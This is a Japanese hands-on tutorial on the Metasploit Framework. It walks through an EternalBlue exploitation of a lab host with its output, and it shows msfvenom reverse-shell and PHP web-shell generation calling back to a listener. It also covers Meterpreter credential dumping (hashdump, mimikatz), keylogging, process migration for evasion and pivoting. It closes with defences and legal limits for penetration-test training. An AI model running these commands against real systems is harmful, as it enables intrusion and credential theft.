Metasploit Framework は、世界中のペンテスター・レッドチームが共通言語のように使うオープンソースの攻撃フレームワーク。脆弱性検証・エクスプロイト実行・ペイロード生成・ポストエクスプロイテーションまでを一つのインターフェースから扱える。本稿は「実際に手を動かして使えるようになる」ことを目標に、コマンドとハンズオンを中心にまとめた。
Metasploit とは #
Metasploit Framework は、ペネトレーションテストや脆弱性検証で使われるオープンソースの攻撃フレームワーク。「攻撃コードを毎回ゼロから書く」のではなく、統一されたインターフェースから既知の exploit / ペイロード / ポストモジュールを呼び出せる ことが価値の中心。
Kali Linux / Parrot OS に標準搭載されており、OSCP・CEH 等の主要資格でも実技対象。「最初に触れる攻撃ツール」として事実上のデファクト。
2003 年に HD Moore が Perl で開始 → 2007 年 v3.0 で Ruby に全面リライト → 2009 年 Rapid7 が買収して現在まで活発に開発継続。
何ができるのか #
- 脆弱性のスキャン(auxiliary モジュール群)
- 既知 CVE のエクスプロイト(exploit モジュール群、数千件)
- ペイロード生成(msfvenom — exe / elf / php / shellcode 等)
- ポストエクスプロイテーション(Meterpreter による情報収集・横展開・特権昇格)
- リスナー / handler(リバース接続の受信)
起動とデータベース初期化 #
Kali であれば最初から入っている。DB 初期化は最初に一度だけやると、後で hosts / services / vulns 等の結果管理コマンドが使える。
$ sudo msfdb init # PostgreSQL 起動 + DB 作成(初回のみ)
$ msfconsole # 対話シェル起動
=[ metasploit v6.x.x-dev ]
+ -- --=[ 2300+ exploits - 1200+ auxiliary - 410+ post ]
+ -- --=[ 950+ payloads - 45+ encoders - 11+ nops ]
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.help で組み込みコマンド一覧、search でモジュール検索、use でモジュール選択。この 3 つでだいたい動ける。
基本ワークフロー(5 ステップ) #
Metasploit を使った攻撃の流れは、ほぼどのターゲットでも以下の型に収まる。
db_nmap なら結果が msf DB に入る。search で該当 CVE / サービスに対応する exploit を探す。use でモジュール選択 → show options → set RHOSTS / LHOST / PAYLOAD。check で脆弱性を事前確認 → exploit。セッション獲得。モジュール体系 #
すべての機能は「モジュール」という単位。/usr/share/metasploit-framework/modules/ 配下にツリー状に配置される。
| 種別 | 役割 | 代表例 |
|---|---|---|
| exploit | 脆弱性を悪用してコード実行 | exploit/windows/smb/ms17_010_eternalblue |
| auxiliary | スキャン・ブルートフォース・リスナー等の補助機能 | auxiliary/scanner/portscan/tcp |
| payload | エクスプロイト成功後にターゲットで動くコード | windows/x64/meterpreter/reverse_tcp |
| post | 侵入後の自動化(情報収集 / 横展開 / 永続化) | post/multi/recon/local_exploit_suggester |
| encoder | シェルコードを変換して静的検出を回避 | x86/shikata_ga_nai |
| evasion | AV 回避を組み込んだ実行ファイル生成 | windows/windows_defender_exe |
ペイロードの 3 構造 #
- single (inline) — 単一バイナリ。サイズ大きいが安定。
- stager — 小さな初期コードで本体をネット越しにダウンロード。バッファ制約のある exploit 向け。
- stage — stager がロードする本体。Meterpreter はこの仕組みで動く。
msfconsole 必須コマンド #
暗記すべき最小セット。これだけで 95% の操作が可能。
# 検索
msf6 > search ms17_010
msf6 > search type:exploit platform:windows
# モジュール選択(search 結果のインデックスでも可)
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > use 0
msf6 > back # 一つ戻る
# 情報確認
msf6 > info
msf6 > show options
msf6 > show payloads
msf6 > show targets
# パラメータ設定
msf6 > set RHOSTS 192.168.56.50
msf6 > set LHOST eth0 # IF 名で指定可
msf6 > setg LHOST 10.0.2.4 # グローバル設定(全モジュールへ)
# 実行
msf6 > check # 脆弱性の事前検証
msf6 > exploit
msf6 > exploit -j -z # バックグラウンド実行
msf6 > run # exploit と同義msf6 > sessions -l # 一覧
msf6 > sessions -i 1 # ID=1 にアタッチ
meterpreter > background # Ctrl+Z でも OK、コンソールに戻る
msf6 > sessions -K # 全セッション切断
msf6 > jobs -l
msf6 > jobs -Kmsf6 > workspace -a redteam # ワークスペース作成
msf6 > db_nmap -sS 192.168.56.0/24
msf6 > hosts # 発見ホスト一覧
msf6 > services # サービス一覧
msf6 > vulns # 脆弱性候補
msf6 > loot # 取得ファイルハンズオン — EternalBlue(MS17-010) #
2017 年 WannaCry ランサムウェアで使われた SMB v1 の脆弱性。Windows 7 / Server 2008 R2 の未パッチ機が刺さる定番演習。HackTheBox Blue や OSCP ラボでも頻出。
STEP 1 — 偵察 #
$ nmap -p 445 --script smb-vuln-ms17-010 192.168.56.50
PORT STATE SERVICE
445/tcp open microsoft-ds
| smb-vuln-ms17-010:
| VULNERABLE: Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)STEP 2 — モジュール検索 #
msf6 > search ms17_010
Matching Modules
# Name
0 exploit/windows/smb/ms17_010_eternalblue
1 exploit/windows/smb/ms17_010_psexec
2 auxiliary/scanner/smb/smb_ms17_010STEP 3 — 設定 + check #
msf6 > use 0
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.50
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.56.106
msf6 exploit(ms17_010_eternalblue) > check
[+] 192.168.56.50:445 - Host is likely VULNERABLE to MS17-010!STEP 4 — 実行 #
msf6 exploit(ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.56.106:4444
[*] 192.168.56.50:445 - ...exploitation successful...
[*] Sending stage (200774 bytes) to 192.168.56.50
[*] Meterpreter session 1 opened
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM # 一発で SYSTEM
meterpreter > sysinfo
Computer : DC01
OS : Windows 7 (6.1 Build 7601, SP1)
Architecture: x64SMB サービスはカーネルレベル(srv.sys)で動作している。SMB ドライバの脆弱性を突くため、シェルコードは最初から SYSTEM 権限 で実行される。ユーザランドの exploit と違い、後続の特権昇格が要らない。
msfvenom でペイロード生成 #
スタンドアロンのペイロード生成ツール。手元で exe / elf / php / shellcode を作って、別の経路(ファイルアップロード、メール添付、USB 等)で実行させたい時に使う。
主要オプション #
-p <payload>— ペイロード名LHOST=/LPORT=— リバース接続先(setではなく=)-f <format>— 出力形式(exe/elf/raw/php/c等)-e <encoder>/-i <count>— エンコーダ + 反復回数-b '\x00\x0a\x0d'— bad chars 除外-o <file>— 出力先
よく使う組み合わせ #
# Windows 用 Meterpreter exe
$ msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.106 LPORT=4444 \
-f exe -o shell.exe
# Linux ELF
$ msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.106 LPORT=4444 \
-f elf -o shell.elf
# PHP Web シェル
$ msfvenom -p php/meterpreter/reverse_tcp \
LHOST=192.168.56.106 LPORT=4444 \
-f raw -o shell.php
# C 用シェルコード(BoF 実験用、bad chars 除外)
$ msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=192.168.56.106 LPORT=4444 \
-b '\x00\x0a\x0d' -f c受け取り側 — multi/handler #
生成したペイロードからのリバース接続を受けるには multi/handler を立てる。
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 192.168.56.106
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > exploit -j # バックグラウンドで listenshikata_ga_nai 等のエンコーダはあくまで「静的シグネチャ」回避用。現代の EDR は動作解析・サンドボックス・メモリスキャンで検出するため、msfvenom 直生成のバイナリは「すぐ検知される前提」で扱う。
Meterpreter #
Meterpreter は Metasploit 独自のペイロードで、メモリ常駐・暗号化通信・クロスプラットフォーム・動的モジュール拡張 が特徴。Disk にバイナリを残さないため AV から見えづらく、生のリバースシェルより圧倒的に高機能。
頻出コマンド #
meterpreter > sysinfo # OS / アーキ
meterpreter > getuid # 現在のユーザ
meterpreter > ps # プロセス一覧
# Windows 特権昇格
meterpreter > getsystem # SYSTEM 昇格を試行
meterpreter > hashdump # SAM のハッシュ抽出(要 SYSTEM)
meterpreter > load kiwi # mimikatz 機能をロード
meterpreter > kiwi_cmd "sekurlsa::logonpasswords"meterpreter > download /etc/shadow
meterpreter > upload payload.exe C:\\Windows\\Temp\\
meterpreter > migrate 1234 # 別プロセスへ移植(検知回避 / 特権変更)
meterpreter > screenshot # スクリーンショット取得
meterpreter > keyscan_start # キーロガー開始
meterpreter > keyscan_dump
meterpreter > shell # ネイティブ cmd / sh を起動Pivoting — 内部ネットワークへの横展開 #
侵入したホストを踏み台に、本来到達不能な内部 IP セグメントへスキャン・exploit を流せる。
meterpreter > run autoroute -s 10.0.0.0/24
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 10.0.0.5
msf6 auxiliary(tcp) > run # 侵入済ホスト経由で 10.0.0.5 をスキャン防御の視点と倫理 #
Metasploit は攻撃ツールであると同時に、「自社環境でこれが通るかを確かめる検証ツール」でもある。ブルーチーム側にとっても必須教養。
防御の打ち手 #
- 既知 CVE を放置しない — Metasploit の exploit は既知 CVE が大半。パッチで多くが死ぬ。
- EDR を最新に — Meterpreter のリフレクティブ DLL injection は EDR で検出可能。
- SMBv1 / LLMNR / NetBIOS を無効化 — EternalBlue 系・Responder 系の温床。
- LAPS / JIT 管理者 — パスワード再利用による横展開を阻止。
- SIEM でログ集約 — 異常な PowerShell・新規プロセス・SMB アクセスを検知。
Metasploit を他者のシステムに対して無断で実行することは犯罪。日本では不正アクセス禁止法 / 刑法(電子計算機損壊等業務妨害罪)に該当しうる。
利用は次の範囲のみ:
- 自分が管理する環境(自宅 LAN / 自作 VM / HackTheBox / VulnHub)
- 書面で許可を得たペネトレーションテスト(依頼主と契約済み)
- CTF(主催者が明示的に攻撃を許可している場面のみ)
「PoC を試したいから」「友達のサーバで」「会社の同僚の PC に」— すべてアウト。
まとめ #
- Metasploit は 探索 → 選択 → 設定 → 実行 → ポスト の 5 ステップで動く統一フレームワーク
- 中心 UI は msfconsole、独立ペイロード生成は msfvenom、結果管理は msfdb
- Meterpreter はメモリ常駐ステルスシェル。
migrate/hashdump/autorouteが後処理の主力 - EDR 時代の現在、素の msfvenom 出力は検知される前提。回避は別フレームワーク(Sliver, Cobalt Strike 等)の領域
- 使うのは許可された環境だけ — これが守れない人は触らない